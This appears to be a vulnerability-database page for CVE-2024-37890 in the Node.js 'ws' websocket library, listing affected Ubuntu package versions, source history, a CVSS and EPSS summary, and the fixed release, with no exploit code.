7.4.6-root.io.17.3.1-root.io.16.2.2-root.io.27.3.1-root.io.27.4.6-root.io.28.13.0-root.io.28.17.1-root.io.38.14.2-root.io.18.6.0-root.io.18.11.0-root.io.18.5.0-root.io.18.2.3-root.io.17.5.5-root.io.26.2.2-root.io.15.2.3-root.io.17.5.8-root.io.27.5.7-root.io.25.2.4-root.io.18.17.1-root.io.18.17.1-root.io.27.5.10-root.io.16.2.3-root.io.1
node-ws
Ubuntu:16.04:LTS
All versions, plus listed versions
0.7.2+ds1.349b7460-11.0.1+ds1.e6ddaae4-1
None known
node-ws
Ubuntu:18.04:LTS
All versions, plus listed versions
1.1.0+ds1.e6ddaae4-3build11.1.0+ds1.e6ddaae4-3ubuntu1
None known
node-ws
Ubuntu:20.04:LTS
All versions, plus listed versions
1.1.0+ds1.e6ddaae4-57.2.1-27.2.1-3
None known
node-ws
Ubuntu:22.04:LTS
All versions, plus listed versions
7.4.2+~cs18.0.8-27.5.5+~cs13.0.13-18.5.0+~cs13.3.3-2
None known
node-ws
Ubuntu:24.04:LTS
All versions, plus listed versions
8.11.0+~cs13.7.3-18.11.0+~cs13.7.3-2
None known
node-ws
Ubuntu:25.10
All versions, plus listed versions
8.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1
None known
node-ws
Ubuntu:26.10
All versions, plus listed versions
8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.3+~cs14.19.1-1
None known
node-ws
Ubuntu:26.04:LTS
All versions, plus listed versions
8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-1
None known

History

History
RecordedChangedSources
affectedOSV
affected
factsOSV
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-37890 is a high vulnerability (CVSS 7.5) in Websockets Ws, published June 17, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.36%, the 71st percentile. Fixed in ws 5.2.4.

References

Show 23 moreShow less
MoveEnter Open